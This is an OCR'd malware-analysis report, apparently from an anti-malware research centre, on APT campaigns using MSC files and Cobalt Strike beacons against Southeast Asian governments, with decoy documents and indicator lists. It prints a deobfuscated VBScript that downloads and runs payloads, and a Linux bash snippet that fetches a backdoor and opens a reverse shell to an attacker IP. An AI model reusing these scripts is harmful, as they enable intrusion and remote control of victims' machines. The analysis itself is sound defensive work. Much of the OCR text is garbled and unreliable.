
PVN yeu cau dai dién tiing don vj trién khai hiéu qua cac yéu cau khac nhau theo hudng dan néu
trén. Néu trong qua trinh thyic hién néu gap viidng méac gi, vui long bao cao PVN kip thai dé nhan

dugc hiong dan, xit 1y kip thoi.

Tran trong.

Pon vi tryc thuoc

Ban quan ly du an phat dién dau khi
Ban QLDA Nguon dién Dau khi Song Hau 1
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Ban QLDA Nguon dien Dau khi Long Pha 1
Ban quan ly dy an dién va dau khi Taiping

Chi nhanh nhém

Cong ty Dieu hanh Pudng 6ng Tay Nam (SWPOCQ)
Cong ty Biéu hanh Dau khi Phua Qudc (Pha Quéc POC)
Cong ty bBieu hanh Dau khi Bién Bong (Bién Bong POC)
Chi nhanh phan phéi san pham nha may loc dau Yishan
Chi nhanh Phat dién Dau khi (PVPGB)

CNTD (PNDB)

hiép hoi xang dau viét nam
Dai hoc Dau khi Viét Nam (PVU)

Cong ty con/Cong ty lién két

Cong ty Tham do va Khai thac Dau khi (PVEP)

Cong ty Phan bon va Hoa chat Dau khi Viét Nam — Cong ty ¢6 phan (PVFCCo)
Cong ty TNHH Cong nghiép Tau thuy Nguyén Tan Dang (DQS)
Cong ty TNHH Dau khi va Phan bon Hoa chat Ca Mau (PVCFC)
Cong ty Khi Viét Nam — Cong ty c¢6 phian (PVGAS)

Cong ty Khoan va Dich vu Dau khi (PVD)

Cong ty Co phan Loc héa dau Binh Son (BSR)

Cong ty Dau khi — Cong ty c6 phan (PVOil)

Tang cong ty Dich vu Ky thuat Dau khi Viét Nam (PTSC)

Cong ty Co phan Van tai Dau khi (PVTrans)

Cong ty Bao tri sta chira cong trinh dau khi (PVMR)

Cong ty C6 phan Xay dyng Dau khi Viét Nam (PetroCons)
Cong ty Tu van Thiét ké Dau khi — AG (PVE)

Cong ty TNHH Loc hoa dau Nghé Son (NSRP)

Cong ty TNHH Yuantai (Yuntai Holdings)

Ngan hang TMCP Bai chung Viet Nam (PVcomBank)

Cong ty Hoa chat va Dich vy Dau khi (PVChem)

Cong ty Co phan Dau khi dau tw phat trien Cang Phu An (PAP)
Cong ty Co phan Hda dau va Sgi Viét Nam (VNPOLY)

Cong ty Co phan Thuong mai va Pau tw Viet Nam (PVTS)
Petrosetco

Cong ty Co phan Phat trién Bong Dwong Xanh (GID)

Lien doanh Viét-Nga Vietsovpetro (V SP)

Cong ty TNHH Lién doanh Rosneft

Gazprom
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Campaign of August 19, 2024
On August 23, 2024, the file "B ATKE B &K BB IIMIESE. msc" was uploaded

to Virus Total.

The campaign may be targeting France and was delivered on August 19, 2024, as the file
name translated from Chinese would be "Internal Video Evidence of Corruption of Deputy
Director Zhang Qing of Guizhou TV Station.msc".

The MSC file is similar to the one seen in the previous campaign on August 20, where the
MUSICV.EXE program is used.

During the analysis, it was not possible to download the malicious DLL from the link
https://speedshare.oss-cn-

hongkong.aliyuncs[.]Jcom/af7ffc2a629a1c258336fde8a1f71e0a.json. The link is the same as
the campaign of August 20th.

The MSC file contains an obfuscated script from which the following output is obtained:
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Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURLA1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https|[:])//proradead|.]s3[.]sa-east-1[.]Jamazonaws|[.]Jcom/new.exe"
strURL2 = "https[:]//proradead|.]s3[.]sa-east-1[.]amazonaws[.Jcom/new.exe.config
strURL3 = "https|:]//proradead|.]s3[.]sa-east-1[.]Jamazonaws[.Jcom/new.ixt"
strShowfileURL = "http[:]//152[.]42[.]226[.]161/stime/1x.mp4"
strDownloadPath1 = "C:\Users\Public\Music\musicx.exe"
strDownloadPath2 = "C:\Users\Public\Music\musicx.exe.config"
strDownloadPath3 = "C:\Users\Public\Music\music.txt"
strShowfilePath = "C:\Users\Public\proton.mp4"
strExecutablePath = "C:\Users\Public\Music\musicx.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2. XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objHTTP.Open "GET", url, False
objHTTP.Send
If objHTTP.Status = 200 Then
objStream.Open
objStream.Type = 1 ' adTypeBinary
objStream.Write objHTTP.ResponseBody
objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
objStream.Close
End If
Set objStream = Nothing
End Sub

Below we see some screenshots of the decoy video downloaded fromigMEMA&KBTRIGK
JEBAEBAISMUELE. msc the file TWMEBM A RIS KB A& KEMPIRE.docx is also

present, which we see below:
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Other campaigns in April and May 2024
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The analysis of the third stage of the Marte Beacon with Cobalt Strike has allowed us to
associate the threat actor with three other campaigns launched between April and May:

o 27 aprile 2024 (Philippines)
e 7 maggio 2024 (Philippines)
e 17 maggio 2024 (Vietnam)

These campaigns did not abuse MSC files to be distributed.

The Marte Beacon with Cobalt Strike could be located from the following url:

http://43.199.33[.]246:443/payload.bin
Analyzing the IP 43.199.33[.]246 The April 27 campaign was detected through the

executable file named x1ffjigd.exe, which downloaded and executed the following files:

e http://43.199.33[.]246:443/payload.bin
e http://43.199.33[.]246:443/example.pdf

The payload.bin file is the Marte Beacon with Cobalt Strike with C&C server visualstudio-

microsoft[.Jcom and port 443.

The following decoy was used in the April 27 campaign:

AFPAFP Vision 2028: A World-Class Armed Forces, Source of National Pride

Significant Events of DND-WIDE and AFP for the period of 25-29 March 2024

Date

Name of Event

GENERAL HEADQUARTERS

ARMED FORCES OF THE PHILIPPINES
OFFICE FOR STRATEGIC STUDIES AND STRATEGY MANAGEMENT
Camp General Emilio Aguinaldo, Quezon City

Short Description/Details of Events

Nature of Events

‘Responsible |
Office/Bureau Division |

25 1400 March
2024

AFP MSGC Reservist
Affairs Committee
Meeting

To discuss and update about the Reserve
Force of the AFP

Face to face

Strategy Management
Division, OSSSM, AFP

25 1400 March
2024

AFP MSGC National
Development &
Resource Management
Committee Meeting

To discuss and update about National
Development and Resource
Management

Via Zoom VTC

Strategy Management
Division, OSSSM, AFP

25 1500 March
2024

AFP MSGC HADRRM |
Committee Meeting

To discuss and update about HADRRM

Face to Face

Strategy Management
Division, OSSSM, AFP

26 1000 March
2024

Coordinating  Meeting
for the 24" AFP MSGC
Regular Meeting

To discuss and update the incoming AFP
MSGC Regular Meeting

26 1400 March
2024

AFP MSGC External
Defense, and PVCE
Committee Meeting

To discuss and update about the
External Defense and PVCE

Via Zoom VTC

Via Zoom VTC

Strategy Management
Division, OSSSM, AFP

Strategy Management
Division, OSSSM, AFP

26 1500 March
2024

OTDCSAFP
Recertification Exit
Briefing

To discuss the result of the
Recertification On-site Audit

Face to Face

Strategy Management
Division, OSSSM, AFP

AFP Core Values: Honor, Service, Patriotism
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AFPAFP Vision 2028: A World-Class Armed Forces, Source of National Pride

25 March 2024

Conducted Kil / FGD @ HTRADOC PA,
Capas Tarlac in Study of Relevance of Face to Face
COP in the AFP Organization

Relevance of COP in
the AFP Organization

Prepared by:

Ernesto iazon Jr DAVID K{AYTON
MSg )  PA MAJ (INF) PA
Chief NC Chief, Admin Division

Noted by: Approved by:

4

AFP Core Values: Honor, Service, Patiiotism

The following decoy was used in the May 7 campaign:

Chief, 0SS&M AFP

Strategic and Special
Studies Division
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IISS

THE INTERNATIONAL INSTITUTE FOR STRATEGIC STUDIES

lISS Shangri-La Dialogue

21ST ASIA SECURITY SUMMIT | 31 MAY-2 JUNE 2024 | SINGAPORE
15 April 2024

Gilbert Teodoro
Secretary of National Defense
Philippines

Dear Secretary Teodoro,
Discussion with IISS Shangri-La Dialogue Southeast Asian Young Leaders, 31 May 2024

Tt is a pleasure to invite you to a discussion with the Southeast Asian Young Leaders at the 20th 1ISS Shangri-
La Dialogue. The discussion will take place on 31 May 12:30pm to 1:15pm in the Banyan Room at the Shangri-
La Hotel. This year, approximately 40 Young Teaders from the region and from countries of strategic
importance to the region will participate as delegates in the Shangri-La Dialogue as well as in a dedicated Young
Teaders’ programme.

We hope you will be able to deliver remarks for around five minutes on security in the Asia-Pacific, particularly
in light of heightened US-China competition and recent events in the South China Sea, and to take questions
from the Young Teaders thereafter.

We look forward to a favourable reply and hope to soon be welcoming you to a dynamic and interactive
discussion with the Young Leaders.

Yours sincerely,

2

Veerle Nouwens
Executive Director, IISS-Asia

Ist

#SLD24

The International Institute for Strategic Studies - Asia | 9 Raffles Place | #49-01 Republic Plaza | Singapor It | e.shangrilagiissorg | org

In the May 17 campaign the following decoy was used with the name example.docx:
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Théng ké héa don muc 7761 tir thang 1-thang 3/2021

Nam 2021 Hoéa don Néi dung chi
Hoéa donngay 02/01/2021 | Chi phi tiép xtic, moi dn Giao su Jan Kratzer-Khoa quan Iy doanh
410,65 Euro nghiép va dé1 mai sang tao — Pai hoc k¥ thuét Berlin- TU Berlin
Chi phi ti€p xtc, lam viéc va moi an Mrs Petra Stegert-chuyén vién
. R B ngoai giao Birc va Mr Tuesday Porter -Trudng Van phong dai
. dosn 2r51g6a;fE08/01/2021 dién gTé c}i’rc TUV Nord AG vé c}l']u'nh sach phat t%ién nélilg hfqng
’ Hre hydrogen va tidm ning hop tic véi Viét Nam trong phat trién
hydrogen
Chi phi lam viéc va mo1 an Mr Alexander Boxler va Mr Heiker
Héa don ngdy 15/01/2021 | Lange — Gidm déc Quan Iy ctia Hidp hoi doanh nghiép hoat dong
374,35 Euro trong Ifnh vire v t& Btrc — GHA tim hidu v& kha ning giéi thiéu va
Thang 1 chuyén giao ¢ng nghé cao trong v té ctia Dirc véi Vidt Nam
Chi phi tiép xtc, lam Yiéc va moi an Mr Tuesday Porter -Truéng
. . Vin phong dai dién T6 chirc TUV Nord AG va Mrs Diana
Hes 606n7r51g5a g 50/01/2021 Sﬁndzrma%m — Dai dién Vian phong dai dién T& chtrc TUV Nord AG
’ Hre tai Pong Nam A v& chinh sach phat trién ning lwong hydrogen va
tiém niing hop tac v6i Viét Nam trong phat trién hydrogen
Chi phi t1€p xtic, lam viée va moi an Mrs Duong Gréifin Westarp —
Héa don ngay 28/01/2021 | 514 déc Quan 1§ du én cong Ly Skaro Gmb thudc Hiép hoi doanh
675.50 Buro nghiép via va nhg burc tup hieu kha nang chuyén giao cong nghé .
< loc nudce bang vai tham Silvertex st dung cho loc nude sinh hoat tai
bénh vién hoac toa chung cu .
Chi phi tiép xtc, 1am viéc va moi in Mr Ludwig Graf Westarp —
Thiing 2 Héa don ngay 10/02/2021 | Giam déc diu hanh céng ty Skaro GmbH — Dai dién Hiép hdi

453,72 BEuro

doanh nghiép vira va nhé Bire tai Viét Nam tim hiéu kha ning
chuyén giao cong nghé loc nude bang véi tham Silvertex st dung
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cho loc nude sinh hoat tai bénh vién hoéc toa chung cu .

Chi phi ti€p xtic, lam viéc va moi an chuyén gia ki thuat Dang Toan

Hoa don ngay 16/02/2021 | Tran- Cong ty Harbauer GmbH vé tim hiéu kha ning chuyén giao
631,38 Euro cdng nghé loc nurde dung cho tudi tiéu va sinh hoat tai khu vue

nhifm min thudc ddng bing séng Ctru Long ctia Viét Nam.

Chi phi tiép xtc, 1am viéc va moi an Tién si Nguyén Viét Anh — Phé

Hoéa don ngiy 24/02/2021 | chii tich Dién dan dbi mdi sang tao va kinh té Dirc — Viét (DVIW)
415,70 Euro vé viéc hd tro Vin phong dai dién KHCN Berlin trong tim kiém,

chuyén giao céng nghé

Chi phi tiép xtic, 1am viéc va moi in Mr Ulrich Ahle — Giam dbc

Héa don ngiy 01/03/2021 | diéu hanh céng ty FIWARE Foundation tim hiéu st dung céng nghé
520,70 Euro dir liéu m&, ngudn mé clia cbng ty 1am gidi phép phat trién hé sinh

thai thanh pho théng minh

Chi phi tiép xiic, lam viéc va moi in Gido s, tién sT DA Thanh

Héa don ngdy 04/03/2021 | Trung — Pai hoc k¥ thuit Hamburg tim hiéu v& céng nghé xtr 1y, tai
331,38 Euro ché tdm pin quang dién sau khi st dung. Kinh nghiém ciia CHLB

Pirc trong linh vure nay.

Thang 3 Chi phi lam viéc va moi n Gido sw, tién si khoa hoc Nguyén Xuén

Héa don ngay 07/03/2021 ﬁinh - ]?ai }éc:)c k)"/ tl'}uét Dortrlriund,vé cac thérgh yAién ban ,sang_xlép
553 72 Buro ang ludi BO.I moi sang tao Vu:.t Puc - VGI Ve vige h(yg tac., ho tro

’ Van phong dai dién KHCN Berlin trong tim kiém, chuyén giao cong

nghé ctia Pic vao Viét Nam

Chi phi phién dich phién lim viéc truc tuyén gitta Vin phong dai

Hoéa don thué phién dich | dién KHCN Berlin, dai dién cong ty Harbauer GmbH va ddi thc Vit
(muc 6761) Nam tim hiéu v& cong nghé loc nuée nhidm min cta cdng ty, kha

ning chuyén giao céng nghé vé Viét Nam

The IP address 43.199.33[.]246 is also associated with an ELF file (Linux) that downloads a
backdoor as we can see from the code snippet below:

whoami > /tmp/test

curl -o /tmp/google_usb_ssh -s https[:]//xianggang000][.]Joss-cn-
hongkong|.]aliyuncs[.Jcom/linshi/grrond

chmod 777 /tmp/google_usb_ssh

/tmp/google_usb_ssh

rm /tmp/google_usb_ssh

bash -i >& /dev/tcp/43[.]199[.]33[.]246/4433 0>&1

wget https[:]//download[.]Jchrorne[.]Jcom/error.logs

gedit error.logs /dev/null -c /bin/sh

The cybercriminal probably needed to hit a target with a Linux OS. This bash script is similar

in behavior to the VisualBasic script used inside MSC files for Windows. In this case the
decoy is the display of an email message contained in the "error.logs" file.

Conclusions
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The campaigns appear to primarily target government agencies and critical infrastructure in
Southeast Asia. With particular focus on the following countries: Philippines, Vietham, and
Taiwan.

From August 2nd onwards, the threat actor inserted a new module into its infection chain
containing a 64-bit shellcode which then leads to the execution of a third stage with the
Marte and Cobalt Strike beacons.

The modus operandi of the cyber actor reflects the techniques of APTs of Chinese origin, it
has been noted that the group is operational from Monday to Friday in hours compatible with
Chinese ones.

Although it was not possible to make a precise attribution, it could be a subgroup of APT41.

10C

fb640cfb9a86b9dc6806b048c6a88ef6ff546ca830a147322b4e3a3646b70942
eaae358c15ea26a976804a398c3fc2¢c25b37db0c89f09307e33cfc9ebcefbal1d0
ebebe25dc22fecceb27¢c390ce77059ade8188be71e340a1e7b098cb3b73ba855
4edc77c3586c¢ccc255460f047bd337b2d09e2339e3b0b0c92d68cddedf2ac1e54
04b336c3bcfe027436f36dfc73a173¢c37¢c66288c7160651b11561b39ce2cd25e
c78a02fa928ed8f83bda56d4b269152074f512c2cb73d59b2029bfc50ac2b8bce
4887fdb5bd5a59fa1754415dd818d455567cf6fe65fbeb7fbdbbe5b018bc3713
633f5b27245a292b38d114aef292a485650bda737785d8a186b43cbha8dc3969ca
1¢c13e6b1f57de9aa10441f63f076b7b6bd6e73d180e70e6148b3e551260e31ee
e7c58c2e315be01bd3a279¢c134e471ccf28046f67604b901279594dc5269a0f1
ca05513c365c60a8fdabd9e21938796822ecda03909b3ee5f12eb82fefa34d84
f1d519f43¢c36e€24a89b351f00059a1bdb9afc2a339f7301117babb484e2cc555
159d13989d0ae44fddb7b1d4c331f1040d187693f16daa138c651f2ccOb7f6d3
a0d662b1765301f38b17b861893d282005d821139524d583ec0cd4ccfc5cd43c
8542ee752ef2ee498e106c0a6ddc4a9810320d14fd85a857520b19d02db46903
1e6¢c661d6981c0fa56c011c29536e57d21545fd11205eddf9218269ddf53d448
257fa5¢c998d2117cc38452e6¢cbd2bf17b507c98ee492b246deb6dcbc784585263
6b86b273ff34fce19d6b804eff5a3f5747adadeaa22f1d49c01e52ddb7875b4b
59171a541712e089dffee2336ec908aec856a38c4b7fbd74cc7a32fb698bc03e
333ed1e77dd0ae502dd73ea029957cb015e770cabad3e090ab3db659769f86af
9228d8ad3acec40e5d328f2b3ef4107fbe49107a85eb850c900b516520a1cb20
a725be0997035e10e059f8f3141a12f836aaca13e364cfa588ea548ec38d9498

status[.]s3cloud-azure[.]Jcom
static[.]trendmicrotech[.]Jcom:8443
api[.]s2cloud-amazon[.]Jcom:8080
us2[.]s3bucket-azure[.Jonline:443
visualstudio-microsoft[.Jcom:443
43[.]199[.133[.]246:443
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Any information published on our site may be used and published on other websites, blogs, forums,
facebook and/or in any other form both in paper and electronic form as long as the source is always and in
any case cited explicitly “Source: CRAM by TG Soft www.tgsoft.it” with a clickable link to the original
information and / or web page from which textual content, ideas and / or images have been extrapolated.
It will be appreciated in case of use of the information of C.R.A.M. by TG Soft www.tgsoft.it in the report of
summary articles the following acknowledgment/thanks “Thanks to Anti-Malware Research Center
C.R.A.M. by TG Soft of which we point out the direct link to the original information: [direct clickable link]”
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reCaptcha" will be present, even in this case, our purpose is only to be able to ascertain the
presence of human interaction and not automatic Bots.
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